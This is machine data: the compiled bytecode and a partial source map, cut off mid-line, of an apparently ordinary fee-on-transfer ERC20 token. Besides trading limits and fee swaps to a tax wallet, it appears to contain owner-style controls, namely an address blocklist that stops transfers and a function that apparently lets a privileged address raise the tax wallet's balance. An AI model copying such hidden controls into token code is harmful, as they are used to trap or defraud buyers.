40902054801561056d5761056d81611271565b47801561057d5761057d81611404565b5050565b6000546001600160a01b031633146105b45760405162461bcd60e51b81526004016105ab9061180a565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016105ab9061180a565b6106346008600a6117e4565b610643906461f313f8806117f3565b600f556106526008600a6117e4565b610661906461f313f8806117f3565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61069b6008600a6117e4565b6106aa906461f313f8806117f3565b60405190815260200160405180910390a1565b6000610433338484610bab565b6000546001600160a01b031633146106f45760405162461bcd60e51b81526004016105ab9061180a565b601554600160a01b900460ff161561074e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105ab565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107989030906107896008600a6117e4565b6104b9906461f313f8806117f3565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080f919061183f565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061183f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610906919061183f565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061094e816001600160a01b031660009081526001602052604090205490565b6000806109636000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f0919061185c565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6d919061188a565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ae95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ab565b6001600160a01b038216610b4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ab565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ab565b6001600160a01b038216610c715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ab565b60008111610cd35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ab565b600080546001600160a01b03858116911614801590610d0057506000546001600160a01b03848116911614155b156110ab576001600160a01b03841660009081526004602052604090205460ff16158015610d4757506001600160a01b03831660009081526004602052604090205460ff16155b610d5057600080fd5b60065460ff1615610e09576013546001600160a01b03848116911614801590610d8757506014546001600160a01b03848116911614155b15610e0957326000908152600560205260409020544311610df65760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016105ab565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610e3457506013546001600160a01b03848116911614155b8015610e5957506001600160a01b03831660009081526003602052604090205460ff16155b15610f3d57600f54821115610eac5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016105ab565b60105482610ecf856001600160a01b031660009081526001602052604090205490565b610ed991906118ac565b1115610f275760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105ab565b600e8054906000610f37836118bf565b91905055505b610f696064610f63600b54600e5411610f5857600754610f5c565b6009545b8590611442565b906114c4565b6014549091506001600160a01b038481169116148015610f9257506001600160a01b0384163014155b1561100d57600f54821115610fe55760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016105ab565b61100a6064610f63600c54600e541161100057600854610f5c565b600a548590611442565b90505b30600090815260016020526040902054601554600160a81b900460ff1615801561104457506014546001600160a01b038581169116145b80156110595750601554600160b01b900460ff165b8015611066575060115481115b80156110755750600d54600e54115b156110a9576110976110928461108d84601254611506565b611506565b611271565b4780156110a7576110a747611404565b505b505b801561112557306000908152600160205260409020546110cb908261151b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061111c9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111489083611228565b6001600160a01b03851660009081526001602052604090205561118d61116e8383611228565b6001600160a01b0385166000908152600160205260409020549061151b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111d78585611228565b60405190815260200160405180910390a350505050565b600081848411156112125760405162461bcd60e51b81526004016105ab91906115a8565b50600061121f84866118d8565b95945050505050565b600061126a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b9392505050565b6015805460ff60a81b1916600160a81b17905580156113f457601554600160a01b900460ff16156113f45760408051600280825260608201835260009260208301908036833701905050905030816000815181106112d1576112d16118eb565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134e919061183f565b81600181518110611361576113616118eb565b6001600160a01b0392831660209182029290920101526013546113879130911684610a87565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c0908590600090869030904290600401611901565b600060405180830381600087803b1580156113da57600080fd5b505af11580156113ee573d6000803e3d6000fd5b50505050505b506015805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561057d573d6000803e3d6000fd5b60008260000361145457506000610437565b600061146083856117f3565b90508261146d8583611972565b1461126a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ab565b600061126a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061157a565b6000818311611515578261126a565b50919050565b60008061152883856118ac565b90508381101561126a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ab565b6000818361159b5760405162461bcd60e51b81526004016105ab91906115a8565b50600061121f8486611972565b600060208083528351808285015260005b818110156115d5578581018301518582016040015282016115b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461160b57600080fd5b50565b6000806040838503121561162157600080fd5b823561162c816115f6565b946020939093013593505050565b60008060006060848603121561164f57600080fd5b833561165a816115f6565b9250602084013561166a816115f6565b929592945050506040919091013590565b60006020828403121561168d57600080fd5b5035919050565b6000602082840312156116a657600080fd5b813561126a816115f6565b600080604083850312156116c457600080fd5b82356116cf816115f6565b915060208301356116df816115f6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173b578160001904821115611721576117216116ea565b8085161561172e57918102915b93841c9390800290611705565b509250929050565b60008261175257506001610437565b8161175f57506000610437565b8160018114611775576002811461177f5761179b565b6001915050610437565b60ff841115611790576117906116ea565b50506001821b610437565b5060208310610133831016604e8410600b84101617156117be575081810a610437565b6117c88383611700565b80600019048211156117dc576117dc6116ea565b029392505050565b600061126a60ff841683611743565b8082028115828204841417610437576104376116ea565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561185157600080fd5b815161126a816115f6565b60008060006060848603121561187157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561189c57600080fd5b8151801515811461126a57600080fd5b80820180821115610437576104376116ea565b6000600182016118d1576118d16116ea565b5060010190565b81810381811115610437576104376116ea565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119515784516001600160a01b03168352938301939183019160010161192c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261198f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209dbfc836cd5a21194e52045421c5cb2a4fdffd24ef83dac4340281f968b82ee464736f6c63430008130033

3508:8436:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5524:83;;;;;;;;;;-1:-1:-1;5594:5:0;;;;;;;;;;;;-1:-1:-1;;;5594:5:0;;;;5524:83;;;;;;;:::i;:::-;;;;;;;;6357:161;;;;;;;;;;-1:-1:-1;6357:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6357:161:0;1023:187:1;4735:53:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4735:53:0;1215:177:1;5801:95:0;;;;;;;;;;;;;:::i;6526:313::-;;;;;;;;;;-1:-1:-1;6526:313:0;;;;;:::i;:::-;;:::i;9569:220::-;;;;;;;;;;-1:-1:-1;9569:220:0;;;;;:::i;:::-;;:::i;:::-;;5710:83;;;;;;;;;;-1:-1:-1;5710:83:0;;4343:1;2185:36:1;;2173:2;2158:18;5710:83:0;2043:184:1;10772:85:0;;;;;;;;;;-1:-1:-1;10772:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;10842:7:0;10819:4;10842:7;;;:4;:7;;;;;;;;;10772:85;11581:352;;;;;;;;;;;;;:::i;5904:119::-;;;;;;;;;;-1:-1:-1;5904:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5997:18:0;5970:7;5997:18;;;:9;:18;;;;;;;5904:119;2589:148;;;;;;;;;;;;;:::i;10468:196::-;;;;;;;;;;;;;:::i;4539:58::-;;;;;;;;;;;;;;;;2375:79;;;;;;;;;;-1:-1:-1;2413:7:0;2440:6;2375:79;;-1:-1:-1;;;;;2440:6:0;;;2630:51:1;;2618:2;2603:18;2375:79:0;2484:203:1;4604:58:0;;;;;;;;;;;;;;;;5615:87;;;;;;;;;;-1:-1:-1;5687:7:0;;;;;;;;;;;;-1:-1:-1;;;5687:7:0;;;;5615:87;;6031:167;;;;;;;;;;-1:-1:-1;6031:167:0;;;;;:::i;:::-;;:::i;4669:59::-;;;;;;;;;;;;;;;;3899:40;;;;;;;;;;-1:-1:-1;3899:40:0;;;;;;;;10865:671;;;;;;;;;;;;;:::i;6206:143::-;;;;;;;;;;-1:-1:-1;6206:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6314:18:0;;;6287:7;6314:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6206:143;6357:161;6432:4;6449:39;210:10;6472:7;6481:6;6449:8;:39::i;:::-;-1:-1:-1;6506:4:0;6357:161;;;;;:::o;5801:95::-;5854:7;4401:13;4343:1;4401:2;:13;:::i;:::-;4386:28;;:12;:28;:::i;:::-;5874:14;;5801:95;:::o;6526:313::-;6624:4;6641:36;6651:6;6659:9;6670:6;6641:9;:36::i;:::-;6688:121;6697:6;210:10;6719:89;6757:6;6719:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6719:19:0;;;;;;:11;:19;;;;;;;;210:10;6719:33;;;;;;;;;;:37;:89::i;:::-;6688:8;:121::i;:::-;-1:-1:-1;6827:4:0;6526:313;;;;;:::o;9569:220::-;210:10;9619:32;;;;:18;:32;;;;;;;;9614:72;;9569:220;:::o;9614:72::-;9772:7;;-1:-1:-1;;;;;9772:7:0;9696:14;9762:18;;;:9;:18;;;;;;9713:3;;9748:33;;9713:3;;9748:13;:33::i;:::-;9737:7;;-1:-1:-1;;;;;9737:7:0;9727:18;;;;:9;:18;;;;;:54;-1:-1:-1;;9569:220:0:o;11581:352::-;11645:10;;;;;-1:-1:-1;;;;;11645:10:0;210;-1:-1:-1;;;;;11631:24:0;;11623:33;;;;;;11706:4;11667:20;5997:18;;;:9;:18;;;;;;11726:14;;11723:75;;11756:30;11773:12;11756:16;:30::i;:::-;11827:21;11862:12;;11859:67;;11890:24;11903:10;11890:12;:24::i;:::-;11612:321;;11581:352::o;2589:148::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;;;;;;;;;2696:1:::1;2680:6:::0;;2659:40:::1;::::0;-1:-1:-1;;;;;2680:6:0;;::::1;::::0;2659:40:::1;::::0;2696:1;;2659:40:::1;2727:1;2710:19:::0;;-1:-1:-1;;;;;;2710:19:0::1;::::0;;2589:148::o;10468:196::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;4401:13:::1;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;:::-;10521:12;:22:::0;4401:13:::1;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;:::-;10554:14;:22:::0;10587:20:::1;:26:::0;;-1:-1:-1;;10587:26:0::1;::::0;;10629:27:::1;4401:13;4343:1;-1:-1:-1::0;4401:13:0::1;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;:::-;10629:27;::::0;1361:25:1;;;1349:2;1334:18;10629:27:0::1;;;;;;;10468:196::o:0;6031:167::-;6109:4;6126:42;210:10;6150:9;6161:6;6126:9;:42::i;10865:671::-;2502:6;;-1:-1:-1;;;;;2502:6:0;210:10;2502:22;2494:67;;;;-1:-1:-1;;;2494:67:0;;;;;;;:::i;:::-;10929:11:::1;::::0;-1:-1:-1;;;10929:11:0;::::1;;;10928:12;10920:47;;;::::0;-1:-1:-1;;;10920:47:0;;5336:2:1;10920:47:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;10920:47:0::1;5134:347:1::0;10920:47:0::1;10978:15;:80:::0;;-1:-1:-1;;;;;;10978:80:0::1;11015:42;10978:80:::0;;::::1;::::0;;;11069:58:::1;::::0;11086:4:::1;::::0;4401:13:::1;4343:1;4401:2;:13;:::i;:::-;4386:28;::::0;:12:::1;:28;:::i;11069:58::-;11172:15;;;;;;;;;-1:-1:-1::0;;;;;11172:15:0::1;-1:-1:-1::0;;;;;11172:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11154:55:0::1;;11218:4;11225:15;;;;;;;;;-1:-1:-1::0;;;;;11225:15:0::1;-1:-1:-1::0;;;;;11225:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11154:94;::::0;-1:-1:-1;;;;;;11154:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;11154:94:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;11154:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11138:13;:110:::0;;-1:-1:-1;;;;;11138:110:0;;::::1;-1:-1:-1::0;;;;;;11138:110:0;;::::1;;::::0;;11259:15:::1;::::0;::::1;:31;11298:21;11329:4;11335:24;11329:4:::0;-1:-1:-1;;;;;5997:18:0;5970:7;5997:18;;;:9;:18;;;;;;;5904:119;11335:24:::1;11360:1;11362::::0;11364:7:::1;2413::::0;2440:6;-1:-1:-1;;;;;2440:6:0;;2375:79;11364:7:::1;11259:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11259:129:0;;;-1:-1:-1;;;;;6410:15:1;;;11259:129:0::1;::::0;::::1;6392:34:1::0;6442:18;;;6435:34;;;;6485:18;;;6478:34;;;;6528:18;;;6521:34;6592:15;;;6571:19;;;6564:44;11372:15:0::1;6624:19:1::0;;;6617:35;6326:19;;11259:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11406:13:0::1;::::0;11437:15:::1;::::0;11399:71:::1;::::0;-1:-1:-1;;;11399:71:0;;-1:-1:-1;;;;;11437:15:0;;::::1;11399:71;::::0;::::1;7148:51:1::0;-1:-1:-1;;7215:18:1;;;7208:34;11406:13:0;::::1;::::0;-1:-1:-1;11399:29:0::1;::::0;7121:18:1;;11399:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11481:11:0::1;:18:::0;;-1:-1:-1;;;;11510:18:0;-1:-1:-1;;;11510:18:0;;;10865:671::o;6847:335::-;-1:-1:-1;;;;;6940:19:0;;6932:68;;;;-1:-1:-1;;;6932:68:0;;7737:2:1;6932:68:0;;;7719:21:1;7776:2;7756:18;;;7749:30;7815:34;7795:18;;;7788:62;-1:-1:-1;;;7866:18:1;;;7859:34;7910:19;;6932:68:0;7535:400:1;6932:68:0;-1:-1:-1;;;;;7019:21:0;;7011:68;;;;-1:-1:-1;;;7011:68:0;;8142:2:1;7011:68:0;;;8124:21:1;8181:2;8161:18;;;8154:30;8220:34;8200:18;;;8193:62;-1:-1:-1;;;8271:18:1;;;8264:32;8313:19;;7011:68:0;7940:398:1;7011:68:0;-1:-1:-1;;;;;7090:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7142:32;;1361:25:1;;;7142:32:0;;1334:18:1;7142:32:0;;;;;;;6847:335;;;:::o;7190:2371::-;-1:-1:-1;;;;;7278:18:0;;7270:68;;;;-1:-1:-1;;;7270:68:0;;8545:2:1;7270:68:0;;;8527:21:1;8584:2;8564:18;;;8557:30;8623:34;8603:18;;;8596:62;-1:-1:-1;;;8674:18:1;;;8667:35;8719:19;;7270:68:0;8343:401:1;7270:68:0;-1:-1:-1;;;;;7357:16:0;;7349:64;;;;-1:-1:-1;;;7349:64:0;;8951:2:1;7349:64:0;;;8933:21:1;8990:2;8970:18;;;8963:30;9029:34;9009:18;;;9002:62;-1:-1:-1;;;9080:18:1;;;9073:33;9123:19;;7349:64:0;8749:399:1;7349:64:0;7441:1;7432:6;:10;7424:64;;;;-1:-1:-1;;;7424:64:0;;9355:2:1;7424:64:0;;;9337:21:1;9394:2;9374:18;;;9367:30;9433:34;9413:18;;;9406:62;-1:-1:-1;;;9484:18:1;;;9477:39;9533:19;;7424:64:0;9153:405:1;7424:64:0;7499:17;2440:6;;-1:-1:-1;;;;;7533:15:0;;;2440:6;;7533:15;;;;:32;;-1:-1:-1;2413:7:0;2440:6;-1:-1:-1;;;;;7552:13:0;;;2440:6;;7552:13;;7533:32;7529:1672;;;-1:-1:-1;;;;;7591:10:0;;;;;;:4;:10;;;;;;;;7590:11;:24;;;;-1:-1:-1;;;;;;7606:8:0;;;;;;:4;:8;;;;;;;;7605:9;7590:24;7582:33;;;;;;7636:20;;;;7632:350;;;7695:15;;-1:-1:-1;;;;;7681:30:0;;;7695:15;;7681:30;;;;:62;;-1:-1:-1;7729:13:0;;-1:-1:-1;;;;;7715:28:0;;;7729:13;;7715:28;;7681:62;7677:290;;;7805:9;7776:39;;;;:28;:39;;;;;;7818:12;-1:-1:-1;7768:102:0;;;;-1:-1:-1;;;7768:102:0;;9765:2:1;7768:102:0;;;9747:21:1;9804:2;9784:18;;;9777:30;9843:34;9823:18;;;9816:62;-1:-1:-1;;;9894:18:1;;;9887:34;9938:19;;7768:102:0;9563:400:1;7768:102:0;7922:9;7893:39;;;;:28;:39;;;;;7935:12;7893:54;;7677:290;8010:13;;-1:-1:-1;;;;;8002:21:0;;;8010:13;;8002:21;:55;;;;-1:-1:-1;8041:15:0;;-1:-1:-1;;;;;8027:30:0;;;8041:15;;8027:30;;8002:55;:83;;;;-1:-1:-1;;;;;;8063:22:0;;;;;;:18;:22;;;;;;;;8061:24;8002:83;7998:313;;;8125:12;;8115:6;:22;;8107:60;;;;-1:-1:-1;;;8107:60:0;;10170:2:1;8107:60:0;;;10152:21:1;10209:2;10189:18;;;10182:30;-1:-1:-1;;;10228:18:1;;;10221:55;10293:18;;8107:60:0;9968:349:1;8107:60:0;8220:14;;8210:6;8194:13;8204:2;-1:-1:-1;;;;;5997:18:0;5970:7;5997:18;;;:9;:18;;;;;;;5904:119;8194:13;:22;;;;:::i;:::-;:40;;8186:79;;;;-1:-1:-1;;;8186:79:0;;10654:2:1;8186:79:0;;;10636:21:1;10693:2;10673:18;;;10666:30;10732:28;10712:18;;;10705:56;10778:18;;8186:79:0;10452:350:1;8186:79:0;8284:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7998:313;8341:76;8413:3;8341:67;8363:15;;8353:9;;:25;8352:55;;8393:14;;8352:55;;;8380:12;;8352:55;8341:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8441:13;;8329:88;;-1:-1:-1;;;;;;8435:19:0;;;8441:13;;8435:19;:43;;;;-1:-1:-1;;;;;;8458:20:0;;8473:4;8458:20;;8435:43;8432:253;;;8517:12;;8507:6;:22;;8499:60;;;;-1:-1:-1;;;8499:60:0;;10170:2:1;8499:60:0;;;10152:21:1;10209:2;10189:18;;;10182:30;-1:-1:-1;;;10228:18:1;;;10221:55;10293:18;;8499:60:0;9968:349:1;8499:60:0;8590:79;8665:3;8590:70;8612:16;;8602:9;;:26;8601:58;;8644:15;;8601:58;;;8630:13;;8590:6;;:10;:70::i;:79::-;8578:91;;8432:253;8750:4;8701:28;5997:18;;;:9;:18;;;;;;8776:6;;-1:-1:-1;;;8776:6:0;;;;8775:7;:30;;;;-1:-1:-1;8792:13:0;;-1:-1:-1;;;;;8786:19:0;;;8792:13;;8786:19;8775:30;:45;;;;-1:-1:-1;8809:11:0;;-1:-1:-1;;;8809:11:0;;;;8775:45;:87;;;;;8845:17;;8824:20;:38;8775:87;:119;;;;;8876:18;;8866:9;;:28;8775:119;8771:419;;;8915:67;8932:49;8936:6;8943:37;8947:20;8968:11;;8943:3;:37::i;:::-;8932:3;:49::i;:::-;8915:16;:67::i;:::-;9030:21;9073:22;;9070:105;;9120:35;9133:21;9120:12;:35::i;:::-;8896:294;8771:419;7567:1634;7529:1672;9216:11;;9213:165;;9286:4;9268:24;;;;:9;:24;;;;;;:39;;9297:9;9268:28;:39::i;:::-;9261:4;9243:24;;;;:9;:24;;;;;;;:64;;;;9327:39;;-1:-1:-1;;;;;9327:39:0;;;;;;;9356:9;1361:25:1;;1349:2;1334:18;;1215:177;9327:39:0;;;;;;;;9213:165;-1:-1:-1;;;;;9404:15:0;;;;;;:9;:15;;;;;;:27;;9424:6;9404:19;:27::i;:::-;-1:-1:-1;;;;;9388:15:0;;;;;;:9;:15;;;;;:43;9456:40;9474:21;:6;9485:9;9474:10;:21::i;:::-;-1:-1:-1;;;;;9456:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9442:13:0;;;;;;;:9;:13;;;;;:54;;;;9512:41;;;9531:21;:6;9542:9;9531:10;:21::i;:::-;9512:41;;1361:25:1;;;1349:2;1334:18;9512:41:0;;;;;;;7259:2302;7190:2371;;;:::o;1267:190::-;1353:7;1389:12;1381:6;;;;1373:29;;;;-1:-1:-1;;;1373:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1413:9:0;1425:5;1429:1;1425;:5;:::i;:::-;1413:17;1267:190;-1:-1:-1;;;;;1267:190:0:o;1123:136::-;1181:7;1208:43;1212:1;1215;1208:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1201:50;1123:136;-1:-1:-1;;;1123:136:0:o;9905:555::-;5100:6;:13;;-1:-1:-1;;;;5100:13:0;-1:-1:-1;;;5100:13:0;;;9983:27;;10002:7:::1;9983:27;10024:11;::::0;-1:-1:-1;;;10024:11:0;::::1;;;10020:25:::0;10037:7:::1;10020:25;10079:16;::::0;;10093:1:::1;10079:16:::0;;;;;::::1;::::0;;10055:21:::1;::::0;10079:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10079:16:0::1;10055:40;;10124:4;10106;10111:1;10106:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10106:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10150:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10150:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10106:7;;10150:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10140:4;10145:1;10140:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10140:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10215:15:::1;::::0;10183:62:::1;::::0;10200:4:::1;::::0;10215:15:::1;10233:11:::0;10183:8:::1;:62::i;:::-;10256:15;::::0;:196:::1;::::0;-1:-1:-1;;;10256:196:0;;-1:-1:-1;;;;;10256:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10337:11;;10256:15:::1;::::0;10379:4;;10406::::1;::::0;10426:15:::1;::::0;10256:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9972:488;5124:1;-1:-1:-1::0;5136:6:0;:14;;-1:-1:-1;;;;5136:14:0;;;9905:555::o;10672:92::-;10729:10;;:27;;:10;;;;-1:-1:-1;;;;;10729:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1465:246;1523:7;1547:1;1552;1547:6;1543:47;;-1:-1:-1;1577:1:0;1570:8;;1543:47;1600:9;1612:5;1616:1;1612;:5;:::i;:::-;1600:17;-1:-1:-1;1645:1:0;1636:5;1640:1;1600:17;1636:5;:::i;:::-;:10;1628:56;;;;-1:-1:-1;;;1628:56:0;;12753:2:1;1628:56:0;;;12735:21:1;12792:2;12772:18;;;12765:30;12831:34;12811:18;;;12804:62;-1:-1:-1;;;12882:18:1;;;12875:31;12923:19;;1628:56:0;12551:397:1;1719:132:0;1777:7;1804:39;1808:1;1811;1804:39;;;;;;;;;;;;;;;;;:3;:39::i;9797:100::-;9854:7;9883:1;9881;:3;9880:9;;9888:1;9880:9;;;-1:-1:-1;9886:1:0;9797:100;-1:-1:-1;9797:100:0:o;936:179::-;994:7;;1026:5;1030:1;1026;:5;:::i;:::-;1014:17;;1055:1;1050;:6;;1042:46;;;;-1:-1:-1;;;1042:46:0;;13155:2:1;1042:46:0;;;13137:21:1;13194:2;13174:18;;;13167:30;13233:29;13213:18;;;13206:57;13280:18;;1042:46:0;12953:351:1;1859:189:0;1945:7;1980:12;1973:5;1965:28;;;;-1:-1:-1;;;1965:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2004:9:0;2016:5;2020:1;2016;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:180::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;-1:-1:-1;2009:23:1;;1858:180;-1:-1:-1;1858:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895: